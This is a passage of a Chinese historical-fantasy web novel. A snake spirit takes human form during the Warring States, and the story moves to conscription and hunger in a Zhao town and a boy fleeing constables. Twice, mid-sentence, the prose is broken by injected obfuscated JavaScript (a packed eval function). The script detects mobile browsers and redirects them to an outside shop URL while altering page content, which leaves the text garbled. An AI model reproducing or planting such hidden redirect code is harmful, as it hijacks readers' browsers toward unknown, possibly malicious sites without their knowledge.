《天下泪》 1. 化人 月出白山,寒峰挂玉。 螭厌从洞府深处走出来时,日光正未尽,他低头看了看自己的手——不错,五指分明,指节清晰,皮肤中淡青色的血管隐约可见,可几百年前,这儿还曾覆满翅羽,遍布鳞甲。 “成了?” 粗哑的声音从身后传来,一石挪着青灰色的身躯缓慢地挤过积雪。这老石精修行了上百年,却还保持着顽石本相,只留有两个状如棋子的矮小双腿,和在躯干部位勉强化出的石臂。往上看,他的头上甚至还顶着一片青苔,和一株在雪天下,依旧翠绿着的芽儿草——据传言,这便是他的法力所在。 “成了。”螭厌答道,目光未曾离开自己的双手。他反复翻转手腕,感受着筋腱在皮下移动,眼中掠过一阵孩童的新奇。 石公凑近,发出“喀喀”的摩擦声,那是他在移动,也是在笑。 “瞧螭君这稀罕劲儿!” 螭厌也笑了,他垂下眼,目光落在自己新得的皮囊上:如今,他黑袍加身,赤红的细线在袖与下摆处绣着蟠虺纹,俨然是当下列国贵族间最时兴的公子着服——至于这身行头究竟从哪家宅邸的衣架上所取来,便不必深究了,但要说这一切都能熟悉……不,并不,其中最令他感到陌生的,便是头颈后异样的触感了,他微微侧首,见一缕乌黑长发自肩头缓缓滑落,着实累赘。 螭厌伸伸手,他将散发拢至脑后,生疏地束起,又以一根早已备下的鸟首乌木簪贯发固定,之后,他左看右看,心中不由得生起莫大的喜悦: “石公,你说我可像人类?” “像,像极了那些用两脚走路的。”石公郑重地点头,他挪动自己的矮小身躯,跳上巨石,来回上下看了又看。 “好……好哇!螭君今日蜕得人身,我等定相聚于老松之下,设宴相贺……”可突然,他像是又瞥见了什么,随即发出“咦”的一声。 “怎么……”石公的声音低了些,带着困惑,“怎么这眼里头啊,没有白?全是一片墨黑?” 螭厌闻言,右眉疑惑地扬起。他显然也未预料到此事,便径直走向身旁一洼尚未封冻的泉水,在观察一阵后,他抬起右手,食中二指并拢,点在自己双目之上,一层淡淡的光泽就此蔓延开来,覆盖过眼睑。等他放下手时,那倒影已起了变化——这眼眶内不再是纯粹的漆黑,而是出现了界限分明的白。而在这片白的基底上,双瞳终于清晰显现:赤红色,最核心处像是有两条竖线般,在水中倒影处微微收缩,泛着幽幽的光。 螭厌仔细端详片刻,又抬手,轻轻抹过眼瞳,这次,他的指尖泛起更细微的金红光芒,那两条竖瞳线的边缘于是开始缓慢晕开,直至扩大成弧状,让它看上去与普通人无异,不再那么扎眼。 “忘了。”他低声道,语气平淡,仿佛在说一件无关紧要的小事,“不过这样呢?石公,你看,这样是否更像人一些?” 石公盯着他的眼睛看了好一会儿。 “像了,也有七八分罢,但不知那竖线……终究是改不掉?” 螭厌不语,待石公下地走来,前者转身,溪水便倒映出一张男子的脸:对方颧骨微突,脸颊微瘦,下颌线条偏圆润,嘴唇却薄得几乎看不见多少血色…… “这样才好。”他用手搅碎倒影。 “免得到时,真把自己当人看了。” …… 林深处已燃起篝火。这火堆用的是枯松枝,烧起来噼里啪啦地响,在这火光照亮的空地上,隐隐约约地,坐着十来个奇形怪状的身影。 “螭君来了!” 随着这声喊,火堆旁探出各式头颅:有生着鹿角却满嘴尖牙的,有面如猫状却身长羽翼的,有浑身长毛却用后腿直立的……这都是一群在传言中提过一嘴,但连名姓都没留下的山野之物。 螭厌也在火堆旁找了块青石坐下。热气扑面,他本能地往后缩了缩——蛇属阴寒,离火太近,鳞片便会感到干涩,但今夜不同,今夜是他化形成功的头一遭,按妖界规矩,该设“宴席”庆祝。 “贺螭君得人身,近人道!”一状如狸猫,身披白毛的长尾妖率先举起陶碗。碗是山下村落里换来的粗陶,边缘还有两个缺口,在他一旁,一只尖嘴细眼的黄鼬站立而起,他穿着件不合身的破旧葛衣,正将烤好的山薯分给旁边一只耳鼠。 “莫慌,好酒来也!”声音急切响起,是一虫嗡嗡飞来。这蜂妖身形似人,但后背生着一对透明膜翅,它让众妖把原本的浊液倒掉,后以好酒来替之。 “这是螭君想喝的酒!”此虫尖声叫道,献宝似的抬起手中的粗陶罐子,罐口用泥封着,“蛇身时尝不了,如今化成人了,可得试试这人间的滋味!这可是我从那乡下户‘弄’过来的,嘿!”它圆滚滚的复眼转了一下,还得意地晃了晃脑袋。 螭厌端起面前的陶碗。碗壁粗粝,摩挲着新得的人手掌心,反而有些刺痛。他仰头将杯中液体饮尽,酒液酸涩,带着还未完全没滤净的酒渣子,一同卡在喉头。 “呸……真难喝……”饮毕,他低下头,极轻、极快地吐了一下舌,心中却暗忖。 “好!”石公拍打地面,震得石片四溅,“螭君爽快!” 宴席这才算开了场。 那山精们搬来石板当桌,接着摆上各色山野之物:有隔壁山中才冒头的蕈子,伞盖上还沾着些许夜露,有从岩缝中抠来的野蜂蜜,稠得都能拉成丝,有刚猎的野雉,正用泥巴裹了埋在火堆下煨熟,待敲开泥壳时香气四溢,还有一瓮炖得稀烂的藿叶粥,里面混着些叫不出名的草根。 螭厌吃得很少。他不熟练地用手撕了片雉胸肉,在嘴里嚼了许久才咽下——人身喉舌均窄小,在吞咽时,总觉有什么东西卡着。倒是那豺狼,和几个兽类出身的妖怪吃得可欢,偶尔撕扯肉骨时,嘴里喉间还时常发出满足的咕噜声,今夜宴席正酣,烤雉的香气与粟酒的气味来回在林间交织。 这豺狼吃完后,优雅地舔了舔前爪,它那清亮之声忽然响起,即刻盖过了众妖的喧哗: “鄙人想,螭君既已化形,往来人间,总需个合乎世情的名姓。不知大人可否想好了?” 一时间,众妖都停下了动作,目光齐刷刷投向坐于青石上的公子人儿。螭厌用他的指尖无聊地拨弄着陶碗,闻言动作微顿。他抬起眼,红色的竖瞳注视着诸位。 “想好了。”他开口,声音不高,却正好够传入每个精怪耳中,“本人姓秦,名乐,字云意。” 林中静了一瞬。 “秦乐,秦先生?”耳鼠抖了抖它的兔耳朵,小声重复,“那这姓……莫非跟那个‘秦’有关?” “秦地西陲,虎狼之邦,征战不休,戾气冲天。”豺狼思考道,“螭君择此姓,嗯,倒真是……贴切。” “非仅为此。”螭厌摇头,双瞳中火光攒动,“那‘秦’字古形,为‘手持杵舂禾’,它如今执戟立国,气象肃杀,可即便如此,它终究是黄土与熟禾——我取此姓,不完全为了弓刀征战,更是为那口能养活善人的粮食。” “那这‘乐’字,又该作何解释?可是取‘安乐’之意?可世道,真有其’乐’吗?”石公问。 螭厌嘴角极浅地弯了一个弧度。 “乐(lè)者,是心安之谓也。至于乐(yuè)者,为五声八音之总名。宫商角徵羽,调和而成乐章,然而……” 他的目光扫过众妖。 “我所求之乐(yuè),并非世俗欢愉,而是涤荡浊音。如若人间戾气如荆棘丛生,我便做那斩棘之人,若世间哀嚎遍野不成曲调,我便……重定这宫商。” 这番话说得平静,却让火堆旁温度骤然升高了几分,一鱼妖颈边的腮裂此时微微开合,吐出一串细密的水泡。 “至于表字云意……”前者轻声开口,“……则取其飘渺无定,聚散随心之意。我之行止,其不必合于俗规,也无需囿于一方——如云之迹。散则为气,聚则成雨,落于何处,便润泽何处。此为‘云意’。” 那豺狼并不完全懂其中深意,却觉此姓名这姓名既顺耳,又含深意,赶紧拍爪叫道:“好……好!好名字!秦乐,秦云意!拿往后咱们去人间听闻,也有个名头说道了!” 众妖又哄然起来,纷纷举杯贺螭君得名。而螭厌——如今或许该称一声秦乐!、秦云意了,他再次端起那罐酒,这次有了准备,只小小抿了一口:这酒酸涩依旧,却仿佛因这名姓的尘埃落定,而多了几分可供反复品尝的意味…… 惟有石公在一旁咕哝: “要我说,还是螭厌好。厌,憎也,恶也。这世道让人厌的还少么?” “砰!”火堆噼啪一声,炸起一簇火星。 …… 时间又过了许久。等月出东山时,林子里便起了薄雾。 这雾来得悄无声息,先是从溪涧升起,贴着地皮漫过来,渐渐地,连树根处、石缝里都开始渗出这白蒙蒙的水汽,裹挟着林间特有的,如同腐烂物般的怪香。而那只耳鼠,灰毛,兔耳,尾巴短得像被啃过的一样,它径直跳到火堆旁的腐木上。后腿直立,前爪搓了搓,缓缓说: “不瞒诸位,我前些日子里下山遛了一趟。” 众妖的注意力都被吸引过莱了。说实在的,在林子里待久了,来自人间的消息总是新鲜。哪怕是最琐碎的市井见闻,在这与世隔绝的山林里,也值得竖起耳朵,仔细听听。 “山下那集子,”耳鼠继续说,一边说一边用爪子比划,“又萧条了许多,往年这时候,该是秋市最热闹的档口,什么卖新米的、贩皮毛的、打铁器换过冬柴的,能从东头铺到西头!可这回,统共不到二十个摊!大半卖的还是去年的陈粟,一股子霉味。” 它顿了顿,看着火光映照下的一张张妖兽面孔。 “我偷听换一个在卖货的老货郎,听他说,近些日子,青壮无一例外,都被征走了。秦赵刚打完战役,至于楚国、燕国、魏国——哪一国不要人?凡是十五岁以上、五十岁以下,只要还能喘气的,都被登记在册了!” 秦云意——虽然他还没习惯被这样称呼,耳鼠边说,他边细枝拨弄着火堆,火星子在雾气里明灭,如同长夏的灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周围一片沉默。浓雾里,只有火堆燃烧的声音被放大,噼啪,噼啪,像什么在断裂。秦云意放下细枝,双手拢进袖中。新得的人身尚不习惯秋夜寒气,哪怕施展部分法力,双手指尖也仍已发凉。他想起百年前,也是这样一个秋夜,作为蛇形,他还在某处寺庙内盘踞,只不过那时山中尚太平,偶尔有樵夫猎户误入,他多是驱走了事。 直到一年冬天,几个溃兵逃进寺庙,他们刚抢了山脚村子的存粮,又放火烧山,他无意间在雪地里就能找到七具尸首——三个老人,两个妇人,还有一对蜷在母亲怀里的孩童…… …… “饿死的饿死,战死的战死,唉,这人世道,还没我们的好……” “可那百夫长也没落好!”蹲在树杈上帝猫脸生物急忙接话,它被称作“鸱”,“昨日午后,我飞过去看见了——他骑的那匹马突然惊了,把他甩下来,一条腿让马蹄踏个正着,连骨头都戳出来了!” 众妖相互看了看,最后他们偷偷看向螭厌,他们心知肚明,谁也没敢接话。 “马惊了啊……”一旁的秦云意轻哼一声,“连畜生都比人明白……不过石公,说到这,你可知道山下那些穿深衣、戴高冠的,是怎么称呼我们的?” “妖孽。”石公砸吧道,“还能有什么好话。” “那你可知道他们怎么称呼那百夫长?” 石公卡住了。 “壮士。”秦云意一字一顿道,“忠勇报国的壮士——至少军功册上是这么记的。他鞭打民夫,叫督促进程,他克扣口粮,叫节俭军用,他绑驾壮丁,叫精忠报国!至于我……我让马惊,不仅仅是因为他如此苛待民夫。而是因为三个月前,这家伙在邻村征粮,有个老妪护着最后一袋粟种,却被他用戈柄捅穿了肚子,之后,老妪的儿子扑上去,却还让他削掉半个脑袋!” 他转身,面对一众沉默的山精野怪,赤瞳在夜色里亮得骇人。 “所以!我便趁其不备,偷偷现身在马旁,人倒难得看见。我想,若那百夫长命大,摔不死,便算那仙要给他一次悔改的机会。若他死了——”他顿了顿,“便是我替天行道,要收他。” “那马……”蝼妖小声问。 “马第二日就恢复了。”秦云意重新坐下,从大陶罐里舀了勺藿叶粥喝,“倒是那百夫长,折了腿,再也骑不得马、挥不动戈了,昨日有消息传来,这家伙已让军府除名,回乡种地去了。” 众妖久久无言。 最后,还是那只豺狼,它跳到火堆旁,歪着头看秦云意,或是螭厌: “那螭君,你既化成人身,往后是要常去人间走动了?” 螭厌舀粥的手停了停。 林中,风忽然又大了些,吹得火苗摇曳不定。远处凄厉的叫声愈发增大,悠长、悲哀,在群山间荡开回音,更远处,在山的那一边,是战火连年的七国疆土…… “至于人间……”螭厌看着碗里浑浊的粥,少米的粥面映着跳跃的火光,也映着他那双蛇瞳,“人间自有我要看的道。” 他仰头饮尽碗底最后一口粥,站起身来,目光直直望向远方。 “也有我要斩的邪。” 众妖静默,只余火舌噼啪在夜风的微响。它们知道:自此往后,白山之下,人间之上,有些东西,或将要变得不同了。 2. 余烬 己亥,赵孝成王六年。 赵邯郸城西三十里,曲阳城。 今日西市刚开——好吧,其实也说不上“开”,其实就是沿街那些破木板门一扇扇被卸下来,露出黑洞洞的门口。有个卖陶器的老头此时正把几十个陶罐、陶碗、陶瓮搬到门前的草席上,一个个摆好,又拿起块粗布挨个擦拭——这些都是烧制时火候没控好的次品,至于那些好的,早被官府老爷们征去装军粮了。即便如此,他擦得还是很认真,用一双手抚过陶器粗糙的表面,就像是在抚摸什么稀世珍宝一样。 而隔壁?隔壁是家刀铺,那炉子还没生火,王瘸子——其实他本名叫王铁,但城里人都这么叫,他今儿正坐在门槛上,用磨石一下一下地蹭手里的菜刀。他磨得很小心,铁器相磨的“噌噌”声清澈、响亮,在清晨的街坊老巷中传得很远。实不相瞒:他的儿子就死在前不久的长平大战上,连尸首都没运回来,除了耍刀,他真的不知道自己还能再做些什么了。 从这刀铺再往东,是条窄巷,巷里时常飘出一股熬藿叶粥的味儿。那藿叶是野地里采的,混着几粒砸碎的豆子和一把麸皮,在陶釜里煮得咕嘟咕嘟响。一位形似寡妇的枯黄女子蹲在灶前,正用柴枝拨着火,在屋中,三个孩子还挤在里屋内那张破草席上睡着,最小的那个在梦里咂吧嘴,大概梦见了吃食。 “栓儿!别画了,快回家帮你娘烧火去!” 隔壁巷口有个七八岁的男娃,光着脚蹲在土墙根,手里捏着树枝,不停在地上划拉——想必他就是“栓儿”了,他手中划的是两个小人:一个高些,一个矮些,手拉着手。他画得很专注,嘴唇抿得紧紧的,以至于刚才并没听见邻家一妇人,曾有对他说过话。 “栓儿?你听见了吗?” 栓儿抬头,黑溜溜的眼睛看了妇人一眼,仍然低头画去。他的爹死在长平,娘就是那位形似寡妇的枯黄女子,她姓张,别人都叫她“张寡妇”。 …… 日头又高了点。 街上人渐渐多了起来。有挑着空担子往城外走的农人,挎着破篮子想用鸡蛋换盐的主妇,还有一牵着瘦驴,外带两捆柴禾的老汉。偶尔还有牛车经过,车轮碾过土路,发出“吱呀呀”的剧烈呻吟,至于车上为什么堆着高高的麻袋……没人知道它装的是什么,因为赶车的人始终绷着个死脸,没人敢去问询。 “听说没?”之前那位卖陶器的老头压低声音,对刚来挑陶罐的老妪说道,“北边又打起来了。” 老妪吓得手一抖,差点把刚挑好的陶罐摔了。 “那秦人又来了?” “不是秦人,是燕人。”老头左右看看,与老妪小声议论,“趁着咱们赵国伤了元气,想来占便宜。你看,那城北军营这几天夜里灯火通明,连马都没卸过鞍!” 老妪摩挲着手中的陶瓶,想说什么,但久久未言。 “不会吧……”她低声喃喃道,“人都死得差不多了,他还能征谁?” 老头摇摇脑袋,没接她的话。两人对视一眼,都从对方眼底看到了同样的东西——恐惧,还有疲惫。 日头爬到屋檐高时,街上稍微热闹了点——至少可以说是有了些活气。隔壁卖苇席的后生终于张开几张席子,他的眼神空洞,似乎忘却了今天还有生意要做,在他店铺旁,几个半大孩子从巷子里疯跑出来,追着一只瘦骨嶙峋的黄狗,后生只抬头看了一眼,嘴角扯了扯,像是想笑,又没笑出来,低头继续打理他的席。 “吃吧……孩子们。” 这声音,是张寡妇的粥熬好了。三个孩子睡眼惺忪地从里屋出来,盯着碗里稀得能照见人影的粥,没人动筷子。只有最大的女孩端起碗,抿了一小口,又把碗推给弟弟,说:“你多吃一点。” 弟弟看着姐姐,又看看碗,小手在衣襟上擦了擦,犹豫再三,这才端起碗,小口小口喝起来。张寡妇回头看了眼他们,又看了看刚从隔壁赶回来的栓儿,叹了口气,什么也没说出口来。 这便是曲阳了。在这里,一切都按着最寻常的轨迹行进。人们悲伤、疲惫,但用尽一切办法不去想之前痛苦战役,而是小心翼翼地维系着生计,直到…… 直到马蹄声再次响起。 起初只是隐约的震动,从城西方向传来,像闷雷滚过山。街边,那位铺苇席的后生手指一抖,席子便从竹竿上掉了下来。而卖陶器的老头此刻也猛地抬头,他神色紧张,耳朵始终侧向声音来的方向。 随着时间的推移,震动越来越近,越来越清晰……它并不像寻常商队,而是整齐、沉重,还似乎带有着什么金属的撞击声一样,一下……两下……砸在灰尘飞舞的土路上,也狠狠砸进每个人心里。此番动作,吓得孩子们也不追狗了,只是聚在一起,怯生生地望向长街尽头。 自此,街上的行人也停住了。 “是……是军马吗?”有人小声问。可没人想开口回答。 马蹄声已经到了街口。当第一骑冲进视野时,阳光正刺得眼生疼:马背上的人着黑衣,穿皮甲,马鞍旁还挂着环首刀。接着是第二骑,第三骑……足足二十余骑,呈两列纵队,这群军士们脸色紧绷,领头的则是个络腮胡的屯长,手里攥着卷竹简。他在街中央勒住马,马立而起,随后前蹄重重踏下,溅起一片尘土。 “里正在哪儿?!”他的声音又糙又哑,像一声闷雷。 一片寂静。 所有人都僵在原地,连呼吸都屏住了。至于里正,也就是那个干瘦得像根柴禾的中年男人,此刻正连滚带爬从巷子里钻出来,然后“扑通”一声,跪倒在马前。 “在、在!小人就是本坊里正李乙……” “奉都尉令!”屯长抖开竹简,声音愈发大了,“燕贼犯境,即日,起征调城内所有十五岁以上、五十岁以下男丁!凡隐匿不报者,斩!抗命不从者,斩!” 话音刚落,街面上就“轰”地一声炸开: “怎么会,又征……” “可恶,去年不是刚征过吗?” “我家里就剩老弱了,求求大人,开下恩吧,我们快没粮食吃了……” 低语声像瘟疫一样蔓延,但很快,屯长的下一句话就把它彻底掐断了: “凡有男丁之家,即日起,还须纳‘助军粮’!”屯长环视一圈,目光扫过一张张惨白、贫瘠的面容,“无论粟、黍、麦、豆,均按户摊派,三日之内缴往城西大营!敢有拖延、隐匿者——” 他顿了顿。 “以资敌论,家产充公,男丁就地正法!” 所有人都沉默了,然后,第一声哭嚎响起——那是巷口张寡妇。她瘫坐在地,手里还攥着抹布,眼睛直勾勾盯着地面,喉咙里发出一种难以形容的呜咽——她家里早就没有男丁了,丈夫死在长平之战,但什么“助军粮”……那是什么?家里那留有半瓮的、发霉的粟米,这可是留着过冬的命啊! 在她之后,接着是更多的声音:有哀求的,哭诉的,辱骂的……一并不绝于耳。 “军爷!求求您,家里就剩个瘸腿的老爹了,去年征役时伤了腿,难道还要……!” “行行好,我家孩子才刚十六,还没娶亲呐!” “我家的粮真的没了,前些日子长平那一仗,粮早被征空了……” 屯长面无表情,只是一挥手,身后的军士们便翻身下马,一脚踢开最近一户人家的门。那家男人看着四十上下,却面黄肌瘦,他被两个军士从屋里拖出来,尽管他的妻子扑上去死死抱住军士的腿,但最终还是被无情地一脚踹开。 “搜!”屯长喝道。 紧接着,翻箱倒柜之声,陶器摔碎之声,女人孩子的哭喊声全部混作一团。街面上顿时乱了起来,卖陶器的老头眼看着军士冲进他隔壁那家,那后生被拽出来时还在挣扎,喊着他娘有病在床,不能没人照顾。结果却被一个军士一肘砸背上,闷哼一声跪倒在地,嘴里溢出血沫…… 老头不敢再看了,他闭上眼,手指死死抠着摊位上那个最大的陶瓮。瓮很凉,釉面粗糙,硌得指骨生疼,仿佛也要被磨出血来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153427|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 日头爬到了中天。 阳光白晃晃地照着一地狼藉:破碎的陶片,撒了一地的粮食——其实也没多少,大多是陈年发霉的粟粒,混着麸皮和沙土……空气里弥漫着尘埃,。那些被拖走的男人们就这样垂着头,像一捆即将上刑的,待宰的牲畜。而那些被留下的女人、老人、孩子,或瘫坐,或呆立,或还在做徒劳无功的哀求。 屯长一个个清点完了人数,又看了看搜出来的那点可怜的粮食,脸色更加阴沉了。他啐了一口,骂了几句特别难听的话,随后翻身上马,马蹄声响起——他往下一坊去了。 街面上还是一片死寂,许久才有人动了一下。是之前那个被踹开的妇人,她爬起来,跌跌撞撞扑到一堆破碎的陶片旁——那是她家里唯一一口煮饭的釜,现在碎了。她跪在那里,一片,一片地捡起来,又不知能做些什么,就那么捧着那碎陶片,肩膀一耸一耸,却没有声音。老头睁开眼,不巧正看见这一场景,他突然觉得,这些泥巴烧出来的东西,仿佛比人还要再坚固些。 “娘,他们还会来吗?” 张寡妇的孩子们从门缝后探出头,最小的那个小声问母亲,可母亲没回答,她正在小声抽噎。 栓儿轻轻搂住了弟弟。 日头偏西时,街上重归忙碌,人们收拾着被翻乱的屋子,把还能用的东西捡回来,看看还能不能改造一下再次使用。有人家开始生火做饭了——其实也没什么可做的,就是把早晨剩下的那点野菜汤再热一热,烫一烫,好作吃食。家家户户的炊烟借此又升起来,稀稀拉拉,歪歪扭扭,融进暮色里。 巷子口,张寡妇家的矮几上摆着几碗重新热过的粥,还是那么稀,那么空荡。几个孩子埋头喝着,喝得很安静,连碗筷碰撞的声音都没有。栓儿刚想喝,便被她母亲叫到身边。她摸着他的头,摸索着从怀里掏出点什么——是昨天省下的另一小块麦饼,已经硬得像石头了。 她塞给栓儿,哑着嗓子: “吃吧,栓儿,吃了好长大。” 栓儿接过饼,没吃,只是攥在手心里。忽然,他抬头看着母亲, “娘,我爹……是怎么死的?” 寡妇枯瘦的手僵住了。 “他死在,很远的地方……睡吧,栓儿,不说这个,天黑了。” 夜色终于完全吞没了曲阳城。 今天没有月光,云层很厚,压得很低。城里零星亮着几盏油灯,光晕昏黄,勉强能照亮脚下方寸之地,却照不亮远处更深的黑暗……而在城东那座早就没了香火、连供的是谁都无人记得的野庙里,庙门只剩半扇,斜挂着,风一吹就吱呀作响。庙内,塌了半边的泥人隐在阴影里,面目模糊,徒留供桌上积着厚厚的灰,还有什么小型动物,此刻正窸窸窣窣爬过。 供桌旁,靠墙的角落里,那儿坐着个人,他靠着冰冷的土墙上,闭着眼,但没睡,而是聆听着从城里飘来的每一丝声响——远处军营的叫喊声,巷子里妇人压抑的啜泣,更近处,便是老鼠在梁上跑过的窸窣……对于秦云意而言,三百年修行,百年化形,他早已见过太多这样的“人间”:什么战乱,征敛,饥荒,死亡……周而复始,仿佛像永不停歇的磨盘,誓要碾碎台上的一切。 ——这种沉重的、只属于“人类”的“浊气”,实在是掺杂了太多血与泪、恨与惧了。所以,即便化了形,他也没立即往人多处去走,而是径直寻到这荒僻的野庙。本想清净片刻,却不曾想,连这里都被那些声音侵扰。 …… 夜色渐浓了,庙外,不时传来的声音扰得他生烦,就连老鼠“吱吱”的交流,抖显得要顺耳许多。到这里,秦云意本已合眼,预备养足精神,准备明日一早便进城去看看,可破庙后墙的裂缝外,此刻不偏不倚,却偏又传来异响——那不是鼠啮声,也非风卷落叶…… 那是一种压抑的喘息,粗重、短促,间杂着□□拖过枯草的沙沙声,正在逐渐靠近了,当然,还有……血的味道。 秦云意猛地睁开了眼。 3. 人间旅 紧接着,巷子那头传来急切的脚步声,这脚步越来越近,越来越近,直朝着庙后这荒园而来。 秦云意站起来脚步一顿,身形微晃,快速走出庙门,隐到庙后井台那丛半枯的野蒿中,动作轻的连草茎都没晃动一下。 有人冲进了荒园。 那是个少年,约莫十四五岁,瘦得麻杆似的,身上那件打满补丁的短褐被荆棘划破了不知好几处,露出底下青紫的、流血的皮肉。他跑得太急,以至于一脚绊在井台塌陷的石块上,整个人向前扑倒,重重摔在枯草堆里。 少年闷哼一声,挣扎着想爬起来,却牵动了伤处,疼得龇牙咧嘴。他就那么趴在草堆里,大口大口喘气,每喘一下都带有肺的嘶吼声。 秦云意从蒿草缝隙里看着。 这少年脸上有血污,额角还破了道口子,血混着汗淌下来,糊了半边脸。他眼睛睁得很大,瞳孔在昏暗天光里缩成两个黑点,里面全是惊惶——他似乎已被逼到绝境、走投无路了。可不一会儿,巷子那头却传来迫近的追喊: “那小崽子往那边跑了!” “搜!仔细搜!抓回去有赏!” 脚步声杂沓,可知并不止一人,他们正朝着荒庙这边逼近。 少年浑身一僵,下意识想往草丛深处缩,但荒地就这么大,能藏身的地方屈指可数。他的目光慌乱地扫过井台、蒿丛、还有那半塌的庙墙,最后落在秦云意藏身的那丛野蒿上。 秦云意能感觉到少年的视线,那是绝望的、但仍带着最后一丝侥幸的视线,它直直刺过蒿草缝隙,落在了他身上。 四目相对。 尽管隔着草丛,尽管天色尚暗,但那一瞬间,少年显然看见了阴影里那双非人的竖瞳。他嘴巴张了张,却没发出声音,只是瞳孔骤然缩得更紧,身体往后探了探,像是看见了什么比追兵更可怕的东西。 追兵的脚步声已经到了庙外。 “进去看看!那崽子肯定藏这儿了!” 少年脸色惨白如纸。他看了看逼近的追兵,又看了看蒿丛后那双冰冷双瞳,最后咬了咬牙,非但没有后退,反而手脚并用,朝着秦云意的方向爬过来。 秦云意眉头微皱。 少年爬得很艰难,每动一下,伤口都让他都疼得抽凉气,但他没停。一直爬到离蒿丛只有三步远的地方,这才蜷缩起身子,把自己尽可能埋进枯草里,连头都不敢抬一下。 之后,身旁的庙门被一脚踹开。两个穿皂衣的汉子闯了进来,手里提着短棍,腰间挎着刀。看打扮不是军士,像是衙门的差役,但神色凶悍,眼珠子乱转,扫视着庙地。 “出来!”其中一个络腮胡的喝道,“你这死东西,洒家早就看见你了!” 少年屏住呼吸,身体止不住地发抖。 秦云意依旧隐在蒿草后,他静静看着这一切,他还能听见少年心脏狂跳的声音,像一面被捶破的鼓…… 紧接着,差役开始在荒地里进行搜查。他们踢开草堆,用棍子拨拉蒿丛,还走到井台边抬头探看。其中一个矮个子差役甚至弯腰看了看蒿丛底下——少年就蜷在那里,差役的靴尖几乎快要踢到他脸上。 但差役竟然没看见。 不是少年藏得多好——那么近的距离,只要差役再往前半步,低头细看,必然能发现。可那差役就像被什么无形的东西挡住了视线一样,目光扫过蒿丛时,直接越过了少年蜷缩的位置,落在了后面的土墙上。 “怪了,”矮个子差役嘟囔,“明明看见往这儿跑的……” 络腮胡的走到井台边,狠狠啐了一口。 “说不定翻墙跑了。该死的,这小崽子真滑得像泥鳅。” “那头儿说了,要抓不到人,咱们这趟差白跑了。”矮个子有些焦躁,“不妨再搜搜?” 两人又在地里转了一圈,甚至还用棍子捅了捅庙墙的破洞,最终一无所获。 “走吧,”长络腮胡的摆摆手,“去别处找找。反正他跑不远,城里就这么大。” 两人骂骂咧咧地离开了荒园。脚步声远去,庙地重新恢复寂静。 这少年依旧蜷在草堆里,他不敢动。许久,直到外头彻底没了动静,他才慢慢抬起头,先警惕地看了看四周,然后转向蒿丛的方向。 蒿丛后,那双竖瞳还在。 少年咽了口唾沫,喉咙干得发疼。他撑着地面,想站起来,但腿软得厉害,试了两次才踉跄起身。站起来后,他没马上离开,而是对着蒿丛的方向,深深鞠了一躬。 “多……多谢。” 他声音嘶哑得几乎让人听不清。 秦云意没有应声。 少年等了一会儿,见没有回应,也不敢多留,转身,一瘸一拐地往荒地外面走。走到庙门那块时,他回头又看了一眼,眼神复杂——有感激,有恐惧,更多的是茫然。之后,他消失在了巷子拐角。 万籁俱静。 秦云意从蒿草后走出来,衣上竟没沾半点草屑。他走到少年刚才蜷缩的地方,低头看了看。枯草被压出一个浅坑,坑底仍有几滴尚未干涸的血迹,暗红色,在灰黄的草茎上格外刺眼。之后,他蹲下身,伸出手指,虚虚点,点在那几滴血上。 指尖触到血迹的瞬间,无数破碎的画面涌进他的感知——那是一间漆黑的牢房,传来鞭子抽在皮肉上的闷响,男人濒死的呻吟,还有破败的茅屋,病榻上奄奄一息的老妇,衙役狞笑的脸,盖着官印的征役文书,之后,少年在夜色里狂奔,身后是追喊,眼前是深不见底的黑暗…… 当然,还有更深处的、更久远的记忆碎片:比如长平战场上尸山血海的幻影,父亲临行前,粗糙的手掌按在头顶,以及母亲哭干眼泪后,红肿的眼睛…… 秦云意收回手指。 那些画面瞬间消散,像被风吹散的烟。他站起身,看着自己指尖——那里干干净净,什么也没沾上。但方才感知到的那些痛苦、绝望、不甘,却像冰冷的潮水,还在胸腔里,残留着阵阵余波。 他抬眼望向少年消失的方向。 巷子那头,天光又亮了些。远处传来鸡鸣声,断断续续的,仿佛在昭示着一个内容—— 新的一天,又要开始了。 而那个少年,还有这城里千千万万像他一样的人,又该将如何度过这一天呢?秦云意正琢磨着这些,但肚子,此刻却不争气地叫了一声。 秦云意愣了愣,低头看向自己的腹部:三百年吞吐日月精华,他早就忘了“饿”是什么滋味,可这新得的人身,才一天多没吃东西,居然就开始饿了? “……麻烦。” 秦云意撇撇嘴。他心想,也许,自己当去城镇看看了。 …… 巳时末,曲阳西市。 方才走出庙门时,此刻天正刚亮,现在日光早已彻底降下,把土墙和茅屋顶全都染成金色。整个曲阳城都飘着炊烟的味道,混着些说不清道不明的饭菜香——虽然大多是粗粮野菜,但那股子人间烟火气,相必是山里没有的。 秦云意深吸一口气。 他沿着巷子往外走,脚步放得很慢,眼睛却在四处打量:他左边那户人家的妇人此刻正蹲在门口择野菜,一把一把地,把灰绿色的叶子扔进破陶盆里,而右边那家传来孩子的哭声,大概是磕着了什么,母亲正在低声哄他,还有更远处——几个老头坐在街边的石墩上,吧嗒吧嗒抽着旱烟,有一搭没一搭地聊天。 “……昨儿东巷老李家的小子,听着让衙役给抓走了。” 一个缺牙老头在说话。 “这才十五吧?”另一个老头叹了口气,“说是顶他爹的名额,不过他爹去年就死在长平……” “造孽啊。” 秦云意听了会儿,还没太听明白,但他注意到这几个老头说话时的腔调……总之,尾音拖得长,还有些字吞在喉咙里,含含糊糊的,跟他记忆里百年前赵国乡音,似乎并不太一样。 “得学学……”他心想。“不然连话都听不懂,岂不是要饿死?” 